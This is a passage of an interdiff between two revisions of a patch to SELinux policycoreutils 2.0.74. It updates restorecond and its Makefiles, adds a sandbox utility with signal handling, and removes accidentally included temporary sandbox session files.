 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/load_policy/Makefile policycoreutils-2.0.74/load_policy/Makefile
---- nsapolicycoreutils/load_policy/Makefile	2008-08-28 06:34:24.000000000 -0700
-+++ policycoreutils-2.0.74/load_policy/Makefile	2009-09-20 18:26:36.000000000 -0700
-@@ -1,6 +1,6 @@
+--- nsapolicycoreutils/load_policy/Makefile	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/load_policy/Makefile	2009-09-25 15:28:19.000000000 -0400
+@@ -1,6 +1,7 @@
  # Installation directories.
  PREFIX ?= ${DESTDIR}/usr
 -SBINDIR ?= $(PREFIX)/sbin
 +SBINDIR ?= $(DESTDIR)/sbin
++USRSBINDIR ?= $(PREFIX)/sbin
  MANDIR ?= $(PREFIX)/share/man
  LOCALEDIR ?= /usr/share/locale
  
+@@ -17,6 +18,8 @@
+ 	install -m 755 $(TARGETS) $(SBINDIR)
+ 	test -d $(MANDIR)/man8 || install -m 755 -d $(MANDIR)/man8
+ 	install -m 644 load_policy.8 $(MANDIR)/man8/
++	-mkdir -p $(USRSBINDIR)
++	ln -s /sbin/load_policy $(USRSBINDIR)/load_policy
+ 
+ clean:
+ 	-rm -f $(TARGETS) *.o 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/Makefile policycoreutils-2.0.74/Makefile
---- nsapolicycoreutils/Makefile	2008-08-28 06:34:24.000000000 -0700
-+++ policycoreutils-2.0.74/Makefile	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/Makefile	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/Makefile	2009-09-20 21:26:36.000000000 -0400
 @@ -1,4 +1,4 @@
 -SUBDIRS = setfiles semanage load_policy newrole run_init secon audit2allow audit2why scripts sestatus semodule_package semodule semodule_link semodule_expand semodule_deps setsebool po
 +SUBDIRS = setfiles semanage load_policy newrole run_init sandbox secon audit2allow audit2why scripts sestatus semodule_package semodule semodule_link semodule_expand semodule_deps setsebool po gui
@@ -59,8 +69,8 @@ diff --exclude-from=exclude --exclude=se
  INOTIFYH = $(shell ls /usr/include/sys/inotify.h 2>/dev/null)
  
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/Makefile policycoreutils-2.0.74/restorecond/Makefile
---- nsapolicycoreutils/restorecond/Makefile	2009-08-20 12:49:21.000000000 -0700
-+++ policycoreutils-2.0.74/restorecond/Makefile	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/Makefile	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/Makefile	2009-09-20 21:26:36.000000000 -0400
 @@ -1,17 +1,28 @@
  # Installation directories.
  PREFIX ?= ${DESTDIR}/usr
@@ -108,15 +118,15 @@ diff --exclude-from=exclude --exclude=se
  relabel: install
  	/sbin/restorecon $(SBINDIR)/restorecond 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/org.selinux.Restorecond.service policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service
---- nsapolicycoreutils/restorecond/org.selinux.Restorecond.service	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/org.selinux.Restorecond.service	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/restorecond/org.selinux.Restorecond.service	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,3 @@
 +[D-BUS Service]
 +Name=org.selinux.Restorecond
 +Exec=/usr/sbin/restorecond -u
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.c policycoreutils-2.0.74/restorecond/restorecond.c
---- nsapolicycoreutils/restorecond/restorecond.c	2009-08-20 12:49:21.000000000 -0700
-+++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond.c	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-09-24 22:59:01.000000000 -0400
 @@ -48,294 +48,38 @@
  #include <signal.h>
  #include <string.h>
@@ -608,8 +618,8 @@ diff --exclude-from=exclude --exclude=se
 +
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.conf policycoreutils-2.0.74/restorecond/restorecond.conf
---- nsapolicycoreutils/restorecond/restorecond.conf	2009-08-20 12:49:21.000000000 -0700
-+++ policycoreutils-2.0.74/restorecond/restorecond.conf	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond.conf	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.conf	2009-09-20 21:26:36.000000000 -0400
 @@ -4,8 +4,5 @@
  /etc/mtab
  /var/run/utmp
@@ -621,8 +631,8 @@ diff --exclude-from=exclude --exclude=se
 -
 -
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.desktop policycoreutils-2.0.74/restorecond/restorecond.desktop
---- nsapolicycoreutils/restorecond/restorecond.desktop	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/restorecond/restorecond.desktop	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond.desktop	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/restorecond/restorecond.desktop	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,7 @@
 +[Desktop Entry]
 +Name=File Context maintainer
@@ -632,8 +642,8 @@ diff --exclude-from=exclude --exclude=se
 +Type=Application
 +StartupNotify=false
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.h policycoreutils-2.0.74/restorecond/restorecond.h
---- nsapolicycoreutils/restorecond/restorecond.h	2009-08-20 12:49:21.000000000 -0700
-+++ policycoreutils-2.0.74/restorecond/restorecond.h	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond.h	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.h	2009-09-20 21:26:36.000000000 -0400
 @@ -24,7 +24,21 @@
  #ifndef RESTORED_CONFIG_H
  #define RESTORED_CONFIG_H
@@ -659,8 +669,8 @@ diff --exclude-from=exclude --exclude=se
  
  #endif
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.init policycoreutils-2.0.74/restorecond/restorecond.init
---- nsapolicycoreutils/restorecond/restorecond.init	2009-08-20 12:49:21.000000000 -0700
-+++ policycoreutils-2.0.74/restorecond/restorecond.init	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond.init	2009-08-20 15:49:21.000000000 -0400
++++ policycoreutils-2.0.74/restorecond/restorecond.init	2009-09-20 21:26:36.000000000 -0400
 @@ -75,16 +75,15 @@
  	status restorecond
  	RETVAL=$?
@@ -681,14 +691,14 @@ diff --exclude-from=exclude --exclude=se
  exit $RETVAL
 -
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond_user.conf policycoreutils-2.0.74/restorecond/restorecond_user.conf
---- nsapolicycoreutils/restorecond/restorecond_user.conf	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/restorecond_user.conf	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,2 @@
 +~/*
 +~/public_html/*
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/user.c policycoreutils-2.0.74/restorecond/user.c
---- nsapolicycoreutils/restorecond/user.c	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/restorecond/user.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/user.c	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/restorecond/user.c	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,237 @@
 +/*
 + * restorecond
@@ -928,8 +938,8 @@ diff --exclude-from=exclude --exclude=se
 +}
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
---- nsapolicycoreutils/restorecond/watch.c	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/restorecond/watch.c	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/restorecond/watch.c	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,254 @@
 +#define _GNU_SOURCE
 +#include <sys/inotify.h>
@@ -1186,8 +1196,8 @@ diff --exclude-from=exclude --exclude=se
 +}
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/Makefile policycoreutils-2.0.74/sandbox/Makefile
---- nsapolicycoreutils/sandbox/Makefile	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/Makefile	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/sandbox/Makefile	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/Makefile	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,31 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
@@ -1220,116 +1230,14 @@ diff --exclude-from=exclude --exclude=se
 +	../../scripts/Lindent $(wildcard *.[ch])
 +
 +relabel:
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand5EuHAP/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sand5EuHAP/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sand5EuHAP/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand5EuHAP/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:29:11.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-tPO8npawe6,guid=497ca5f938615eccf673a5584ab6d6e7
-+DBUS_SESSION_BUS_PID=18391
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sand5EuHAP/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sand5EuHAP/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand5EuHAP/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sand5EuHAP/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sand5EuHAP/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand5EuHAP/.recently-used.xbel	2009-09-20 18:29:17.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand5EuHAP/.sandboxrc policycoreutils-2.0.74/sandbox/.sand5EuHAP/.sandboxrc
---- nsapolicycoreutils/sandbox/.sand5EuHAP/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand5EuHAP/.sandboxrc	2009-09-20 18:29:10.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand6ZVCQ8/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-2 policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-2
---- nsapolicycoreutils/sandbox/.sand6ZVCQ8/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-2	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-2	2009-09-20 18:31:06.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :2 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-xOrKqKCzxN,guid=1c095101cac51dbf1e0a2dbf4ab6d75a
-+DBUS_SESSION_BUS_PID=18477
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sand6ZVCQ8/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand6ZVCQ8/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sand6ZVCQ8/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.gconfd/saved_state	2009-09-20 18:31:28.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343832382d302d313761313165363262366135330000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343832382d302d3137613131653632623661353300000000001c00000000000000827e8470b000e8a8eb2428282828282801000000cf1fbbf301000000480000000100000002000000050000001c00000000000000827e8470b000e8a8eb2428282828282801000000cf1fbbf301000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand6ZVCQ8/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sand6ZVCQ8/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.recently-used.xbel	2009-09-20 18:31:12.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand6ZVCQ8/.sandboxrc policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.sandboxrc
---- nsapolicycoreutils/sandbox/.sand6ZVCQ8/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand6ZVCQ8/.sandboxrc	2009-09-20 18:31:05.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand9auIqB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sand9auIqB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sand9auIqB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand9auIqB/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:50:15.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-Cdg3FAXkMm,guid=0e83184f4aaf91de7fbe64e04ab6dbd7
-+DBUS_SESSION_BUS_PID=19427
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sand9auIqB/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sand9auIqB/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand9auIqB/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sand9auIqB/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sand9auIqB/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand9auIqB/.gconfd/saved_state	2009-09-20 18:50:18.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346264662d302d363036353934646336636532660000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346264662d302d3630363539346463366365326600000000001c00000000000000a82a2c20e74368a8eb242828282828280100000091dd417901000000480000000100000002000000050000001c00000000000000a82a2c20e74368a8eb242828282828280100000091dd417901000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand9auIqB/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sand9auIqB/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sand9auIqB/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand9auIqB/.recently-used.xbel	2009-09-20 18:50:18.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sand9auIqB/.sandboxrc policycoreutils-2.0.74/sandbox/.sand9auIqB/.sandboxrc
---- nsapolicycoreutils/sandbox/.sand9auIqB/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sand9auIqB/.sandboxrc	2009-09-20 18:50:14.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandaH0LFh/.sandboxrc policycoreutils-2.0.74/sandbox/.sandaH0LFh/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandaH0LFh/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandaH0LFh/.sandboxrc	2009-09-20 18:50:03.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox policycoreutils-2.0.74/sandbox/sandbox
---- nsapolicycoreutils/sandbox/sandbox	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/sandbox	2009-09-20 18:26:36.000000000 -0700
-@@ -0,0 +1,207 @@
+--- nsapolicycoreutils/sandbox/sandbox	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/sandbox	2009-09-23 11:24:57.000000000 -0400
+@@ -0,0 +1,222 @@
 +#!/usr/bin/python -E
 +import os, sys, getopt, socket, random, fcntl, shutil
 +import selinux
++import signal
 +
 +PROGNAME = "policycoreutils"
 +
@@ -1352,6 +1260,17 @@ diff --exclude-from=exclude --exclude=se
 +
 +random.seed(None)
 +
++def sighandler(signum, frame):
++    print "exiting on signal %s" % signum
++    signal.signal(signum,  signal.SIG_IGN)
++    os.kill(0, signum)
++    raise KeyboardInterrupt
++
++def setup_sighandlers():
++    signal.signal(signal.SIGHUP,  sighandler)
++    signal.signal(signal.SIGQUIT, sighandler)
++    signal.signal(signal.SIGTERM, sighandler)
++
 +def error_exit(msg):
 +    sys.stderr.write("%s: " % sys.argv[0])
 +    sys.stderr.write("%s\n" % msg)
@@ -1415,6 +1334,7 @@ diff --exclude-from=exclude --exclude=se
 +              copyfile(f,"/tmp", newtmpdir)
 +
 +if __name__ == '__main__':
++    setup_sighandlers()
 +    if selinux.is_selinux_enabled() != 1:
 +        error_exit("Requires an SELinux enabled system")
 +        
@@ -1531,12 +1451,14 @@ diff --exclude-from=exclude --exclude=se
 +           error_exit(_("Invalid value %s") % error.args[0])
 +    except IOError, error:
 +           error_exit(error.args[1])
-+        
++    except KeyboardInterrupt:
++           rc = 0
++           
 +    sys.exit(rc)
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox.8 policycoreutils-2.0.74/sandbox/sandbox.8
---- nsapolicycoreutils/sandbox/sandbox.8	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/sandbox.8	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/sandbox/sandbox.8	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/sandbox.8	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,26 @@
 +.TH SANDBOX "8" "May 2009" "chcat" "User Commands"
 +.SH NAME
@@ -1565,8 +1487,8 @@ diff --exclude-from=exclude --exclude=se
 +runcon(1)
 +.PP
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandboxX.sh policycoreutils-2.0.74/sandbox/sandboxX.sh
---- nsapolicycoreutils/sandbox/sandboxX.sh	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/sandboxX.sh	2009-09-20 18:51:31.000000000 -0700
+--- nsapolicycoreutils/sandbox/sandboxX.sh	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/sandboxX.sh	2009-09-20 21:51:31.000000000 -0400
 @@ -0,0 +1,16 @@
 +#!/bin/bash 
 +export TITLE="Sandbox: `/usr/bin/tail -1 ~/.sandboxrc | /usr/bin/cut -b1-70`"
@@ -1584,545 +1506,9 @@ diff --exclude-from=exclude --exclude=se
 +kill -HUP 0
 +break
 +done
-Binary files nsapolicycoreutils/sandbox/.sandca9QI3/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandca9QI3/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandca9QI3/.sandboxrc policycoreutils-2.0.74/sandbox/.sandca9QI3/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandca9QI3/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandca9QI3/.sandboxrc	2009-09-20 18:50:27.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
-Binary files nsapolicycoreutils/sandbox/.sandDkHGLK/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandDkHGLK/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandDkHGLK/.sandboxrc policycoreutils-2.0.74/sandbox/.sandDkHGLK/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandDkHGLK/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandDkHGLK/.sandboxrc	2009-09-20 18:51:37.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandDU27fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandDU27fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandDU27fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandDU27fU/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:43:52.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-XDwPExYfIi,guid=adec649dfa1a8bd855054ed94ab6da58
-+DBUS_SESSION_BUS_PID=19095
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandDU27fU/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandDU27fU/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandDU27fU/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandDU27fU/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandDU27fU/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandDU27fU/.gconfd/saved_state	2009-09-20 18:43:56.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346139332d302d316561646230353261343636310000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346139332d302d3165616462303532613436363100000000001c0000000000000059c8e8a8bb622828eb242828282828280100000022a8b89801000000480000000100000002000000050000001c0000000000000059c8e8a8bb622828eb242828282828280100000022a8b89801000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandDU27fU/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandDU27fU/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandDU27fU/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
